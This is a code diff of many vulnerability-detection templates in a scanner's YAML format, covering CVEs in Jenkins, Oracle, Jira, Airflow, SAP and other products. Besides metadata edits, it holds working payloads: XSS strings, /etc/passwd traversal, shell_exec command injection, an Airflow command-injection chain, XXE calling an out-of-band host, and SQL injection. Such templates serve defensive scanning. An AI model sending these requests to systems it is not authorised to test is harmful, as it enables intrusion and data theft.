@@ -2,7 +2,7 @@ id: CVE-2018-1000861

 info:
  name: Jenkins 2.138 Remote Command Execution
-  author: dhiyaneshDK & @pikpikcu
+  author: dhiyaneshDK,pikpikcu
  severity: critical
  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
  tags: cve,cve2018,jenkin,rce
@@ -0,0 +1,32 @@
+id: CVE-2018-10141
+
+info:
+  name: GlobalProtect Login page XSS
+  author: dhiyaneshDk
+  description: GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-10141
+  tags: globalprotect,xss,cve,cve2018,vpn
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'var valueUser = "j";-alert(1)-"x";'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
  tags: cve,cve2018,splunk
@@ -2,7 +2,7 @@ id: CVE-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  reference: https://github.com/immunIT/CVE-2018-11759
  tags: cve,cve2018,apache
@@ -17,7 +17,12 @@ requests:
        words:
          - "application/x-shockwave-flash"
        part: header
+
      - type: word
        words:
          - "javascript:alert(1337)"
        part: body
+
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: circarlife-system-log
+id: CVE-2018-12634

 info:
  name: Exposed CirCarLife System Log
@@ -6,7 +6,7 @@ info:
  description: CirCarLife is an internet-connected electric vehicle charging station
  reference: https://circontrol.com/
  severity: medium
-  tags: scada,circontrol,circarlife,log
+  tags: cve,cve2018,scada,circontrol,circarlife,logs

 requests:
  - method: GET
@@ -0,0 +1,28 @@
+id: CVE-2018-16668
+
+info:
+  name: CirCarLife SCADA Installation Paths
+  description: System software installation path disclosure due to lack of authentication
+  reference:
+    - https://www.exploit-db.com/exploits/45384
+  author: geeknik
+  severity: medium
+  tags: cve,cve2018,circarlife,scada,iot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/repository"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        part: body
+        words:
+          - "** Platform sources **"
+          - "** Application sources **"
+        condition: and
@@ -0,0 +1,28 @@
+id: CVE-2018-16670
+
+info:
+  name: CirCarLife SCADA PLC Status
+  description: PLC status disclosure due to lack of authentication
+  reference:
+    - https://www.exploit-db.com/exploits/45384
+  author: geeknik
+  severity: medium
+  tags: cve,cve2018,circarlife,scada,plc,iot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/services/user/values.xml?var=STATUS"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        part: body
+        words:
+          - "<values><variable><id>"
+          - "Reader.STATUS"
+        condition: and
@@ -0,0 +1,30 @@
+id: CVE-2018-16671
+
+info:
+  name: CirCarLife SCADA Device ID
+  description: System software information disclosure due to lack of authentication
+  reference:
+    - https://www.exploit-db.com/exploits/45384
+  author: geeknik
+  severity: medium
+  tags: cve,cve2018,circarlife,scada,iot,disclosure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/device-id"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        part: body
+        words:
+          - "circontrol"
+      - type: regex
+        part: body
+        regex:
+          - "(19|20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])"
@@ -0,0 +1,23 @@
+id: rubedo-cms-directory-traversal
+
+info:
+  name: Rubedo CMS 3.4.0 - Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/45385
+  tags: rubedo,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -11,9 +11,10 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php"
-    body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN\"><html xmlns=\"hacked'
+    body: 'icl_post_action=save_theme_localization&locale_file_name_en=EN"><script>alert(0);</script>'
+    redirects: true

    matchers:
      - type: dsl
        dsl:
-          - 'status_code==302 && contains(set_cookie, "_icl_current_admin_language")'
+          - 'contains(tolower(all_headers), "text/html") && contains(set_cookie, "_icl_current_admin_language") && contains(body, "\"><script>alert(0);</script>")'
@@ -2,7 +2,7 @@ id: CVE-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: high
  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
  tags: cve,cve2018,oracle,xss
@@ -2,7 +2,7 @@ id: CVE-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
  tags: cve,cve2018,atlassian,jira,xss
@@ -12,7 +12,7 @@ requests:
    path:
      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'

-    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://example.com">

    matchers-condition: and
    matchers:
@@ -22,4 +22,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -7,7 +7,7 @@ info:
  reference: |
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
    - https://www.exploit-db.com/exploits/44495/
-  tags: cobub,razor,exposure
+  tags: cve,cve2018,cobub,razor,exposure

 requests:
  - method: GET
@@ -2,7 +2,7 @@ id: CVE-2019-15858

 info:
  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0 & fmunozs & patralos
+  author: dwisiswant0,fmunozs,patralos
  severity: high
  description: |
    This template supports the detection part only. See references.
@@ -8,10 +8,7 @@ info:
    - https://www.exploit-db.com/exploits/47760
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
  description: |
-    Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
-    it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components
-    Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht
-    Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices
+    A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
  tags: rce,yachtcontrol,cve,cve2019

 requests:
@@ -2,7 +2,7 @@ id: CVE-2019-17382

 info:
  name: Zabbix Authentication Bypass
-  author: Harsh Bothra
+  author: harshbothra_
  severity: critical
  description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
  reference: https://www.exploit-db.com/exploits/47467
@@ -4,7 +4,7 @@ info:
  author: pussycat0x
  severity: high
  reference: https://github.com/shi-yang/jnoj/issues/53
-  tegs: cve.cve2019,jnoj,lfi
+  tags: cve.cve2019,jnoj,lfi

 requests:
  - raw:
@@ -1,7 +1,7 @@
 id: CVE-2019-17558
 info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
-  author: pikpikcu & madrobot
+  author: pikpikcu,madrobot
  severity: critical
  refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  tags: cve,cve2019,apache,rce,solr
@@ -2,7 +2,7 @@ id: CVE-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
-  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
  description: The WordPress plugin, Email Subscribers & Newsletters, before 4.2.3 had a flaw that allowed unauthenticated file download with user information disclosure.
  refrense: https://www.exploit-db.com/exploits/48698
@@ -0,0 +1,28 @@
+id: CVE-2019-2616
+
+info:
+  name: XXE in Oracle Business Intelligence and XML Publisher
+  author: pdteam
+  severity: high
+  description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2616
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Content-Length: 76
+        Content-Type: text/xml; charset=UTF-8
+
+        <!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://{{interactsh-url}}">
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,23 @@
+id: CVE-2019-2767
+
+info:
+  name: Oracle Business Intelligence - Publisher XXE
+  author: madrobot
+  severity: high
+  description: Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware. The supported version that is affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher (formerly XML Publisher).
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2767
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -1,6 +1,6 @@
 id: CVE-2019-3396
 info:
-  author: Harsh Bothra
+  author: harshbothra_
  name: Atlassian Confluence Path Traversal
  severity: high
  description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
@@ -11,7 +11,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+      - "{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"

    matchers-condition: and
    matchers:
@@ -0,0 +1,25 @@
+id: CVE-2019-7254
+
+info:
+  name: eMerge E3 1.00-06 - Unauthenticated Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/47616
+  tags: emerge,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?c=../../../../../../etc/passwd%00"
+      - "{{BaseURL}}/badging/badge_print_v0.php?tpl=../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,32 @@
+id: CVE-2019-8446
+
+info:
+  name: Jira Improper Authorization
+  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2019,jira
+
+requests:
+  - raw:
+      - |
+        POST /rest/issueNav/1/issueTable HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
+        Connection: Close
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
+        X-Atlassian-Token: no-check
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-US,en;q=0.9
+
+        {'jql':'project in projectsLeadByUser("{{randstr}}")'}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "the user does not exist"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: CVE-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
  severity: medium
  description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
  reference: |
@@ -2,7 +2,7 @@ id: CVE-2019-9978

 info:
  name: WordPress social-warfare RFI
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: critical
  description: The social-warfare plugin before 3.5.3 for WordPress has stored XSS via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, as exploited in the wild in March 2019. This affects Social Warfare and Social Warfare Pro.
  reference: https://github.com/mpgn/CVE-2019-9978
@@ -0,0 +1,64 @@
+id: CVE-2020-11978
+info:
+  name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
+  author: pdteam
+  severity: high
+  description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
+  reference: |
+        - https://github.com/pberba/CVE-2020-11978
+        - https://nvd.nist.gov/vuln/detail/CVE-2020-11978
+        - https://twitter.com/wugeej/status/1400336603604668418
+  tags: cve,cve2020,apache,airflow,rce
+
+requests:
+  - raw:
+      - |
+        GET /api/experimental/test HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+      - |
+        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+      - |
+        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Content-Length: 85
+        Content-Type: application/json
+
+        {"conf": {"message": "\"; touch test #"}}
+
+      - |
+        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+
+    extractors:
+      - type: regex
+        name: exec_date
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - '"execution_date":"([0-9-A-Z:+]+)"'
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "operator":"BashOperator")'
+          - 'contains(all_headers_4, "application/json")'
+        condition: and
@@ -4,6 +4,7 @@ info:
  name: Apache Cocoon 2.1.12 XML Injection
  author: pikpikcu
  severity: high
+  tags: cve,cve2020,apache,xml,cocoon
  description: |
    When using the StreamGenerator, the code parse a user-provided XML. A specially crafted XML, including external system entities, could be used to access any file on the server system.
  reference: https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
@@ -2,7 +2,7 @@ id: CVE-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
-  author: pdnuclei - projectdiscovery.io
+  author: pdteam
  severity: critical
  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
  reference: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
@@ -18,7 +18,7 @@ requests:

      - type: word
        words:
-          - "{alert(document.domain);}"
+          - "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
        part: body

      - type: word
@@ -1,18 +1,20 @@
-id: airflow-api-exposure
+id: CVE-2020-13927

 info:
-  name: Apache Airflow API Exposure / Unauthenticated Access
+  name: Unauthenticated Airflow Experimental REST API
  author: pdteam
  severity: medium
-  tags: apache,airflow,unauth
+  tags: cve,cve2020,apache,airflow,unauth

 requests:
  - method: GET
    path:
      - '{{BaseURL}}/api/experimental/latest_runs'
+
    matchers:
      - type: word
        words:
          - '"dag_run_url":'
-          - '{"items":['
+          - '"dag_id":'
+          - '"items":'
        condition: and
@@ -0,0 +1,29 @@
+id: CVE-2020-15227
+
+info:
+  name: Nette Framework RCE
+  author: becivells
+  severity: high
+  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
+      - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
+      - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
+      - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
+  tags: cve,cve2020,nette,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200
@@ -11,7 +11,7 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/?key=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E'
+      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'

    matchers-condition: and
    matchers:
@@ -26,5 +26,5 @@ requests:

      - type: word
        words:
-          - '"><script>alert(document.domain);</script>'
+          - "'>\"<svg/onload=confirm('xss')>"
        part: body
@@ -1,3 +1,4 @@
+id: CVE-2020-19625
 info:
  name: Gridx 1.3 RCE
  author: geeknik
@@ -26,4 +27,4 @@ requests:
        part: body
        group: 1
        regex:
-          - "<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>"
+          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'
@@ -6,7 +6,7 @@ info:
  severity: medium
  description: An email address enumeration vulnerability exists in the password reset function of Rocket.Chat through 3.9.1.
  reference: https://trovent.io/security-advisory-2010-01
-  tags: rockethchat
+  tags: cve,cve2020,rockethchat

 requests:
  - raw:
@@ -11,7 +11,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/Pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"
+      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"

    matchers-condition: and
    matchers:
@@ -25,3 +25,7 @@ requests:
        words:
          - '<img src="" onerror="alert(1);">1</img>'
        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: CVE-2020-35736
+
+info:
+  name: GateOne Arbitrary File Download
+  author: pikpikcu
+  severity: high
+  description: GateOne 1.1 allows arbitrary file download without authentication via /downloads/.. directory traversal because os.path.join is misused.
+  reference: |
+    - https://github.com/liftoff/GateOne/issues/747
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
+  tags: cve,cve2020,gateone,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200
@@ -68,7 +68,7 @@ requests:
          - "not found in <b>([/a-z_]+)wp"

    req-condition: true
-    matchers-condition: or
+    matchers-condition: and
    matchers:

      - type: word
@@ -0,0 +1,33 @@
+id: CVE-2020-36112
+
+info:
+  name: CSE Bookstore 1.0 SQL Injection
+  author: geeknik
+  description: CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successful exploitation of this vulnerability will lead to an attacker dumping the entire database.
+  reference: |
+      - https://www.exploit-db.com/exploits/49314
+      - https://www.tenable.com/cve/CVE-2020-36112
+  severity: critical
+  tags: cve,cve2020,sqli,cse
+
+requests:
+  - raw:
+      - |
+        GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: PHPSESSID=c4qd3glr3oe6earuf88sub6g1n
+        Upgrade-Insecure-Requests: 1
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "get book price failed! You have an error in your SQL syntax"
+          - "Can't retrieve data You have an error in your SQL syntax"
+        condition: or
@@ -0,0 +1,32 @@
+id: CVE-2020-36289
+
+info:
+  name: Atlassian Jira Unauth User Enumeration
+  author: dhiyaneshDk
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
+  tags: cve,cve2020,jira,atlassian
+  reference: |
+      - https://twitter.com/ptswarm/status/1402644004781633540
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
+      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'rel=\"admin\"'
+
+      - type: word
+        words:
+          - 'application/json'
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2020-5284

 info:
  name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul & dwisiswant0
+  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.
  tags: cve,cve2020,nextjs,lfi
@@ -2,7 +2,7 @@ id: CVE-2020-5405

 info:
  name: Spring Cloud Directory Traversal
-  author: Harsh Bothra
+  author: harshbothra_
  severity: high
  description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.
  reference: https://pivotal.io/security/cve-2020-5405
@@ -6,7 +6,7 @@ info:
  severity: high
  description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
  reference: https://www.tenable.com/security/research/tra-2020-51
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento

  # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
  # in the event that a CSRF is leveraged against an existing admin session for MAGMI.
@@ -6,7 +6,7 @@ info:
  severity: high
  description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure.
  reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
-  tags: cve,cve2020,magmi
+  tags: cve,cve2020,magmi,magento

  # Response code 503 indicates a potential successful "Too many connections" error
  # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
@@ -2,7 +2,7 @@ id: CVE-2020-5902

 info:
  name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0 & ringo
+  author: madrobot,dwisiswant0,ringo
  severity: high
  description: In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
  reference: |
@@ -1,7 +1,7 @@
 id: CVE-2020-6287

 info:
-  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  name: SAP NetWeaver - Remote Admin addition
  author: dwisiswant0
  severity: critical
  tags: cve,cve2020,sap
@@ -11,34 +11,38 @@ info:
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
-
-  # Affected Versions: 7.30, 7.31, 7.40, 7.50
-
-  # p.s:
-  # > Don't forget to change the default credentials
-  # > to create new admin in associated file:
-  # > `payloads/CVE-2020-6287.xml`
-
-  # Ref:
-  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
+    - https://github.com/chipik/SAP_RECON

 requests:
-  - payloads:
-      data: helpers/payloads/CVE-2020-6287.xml
-    raw:
+  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        Connection: close

-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
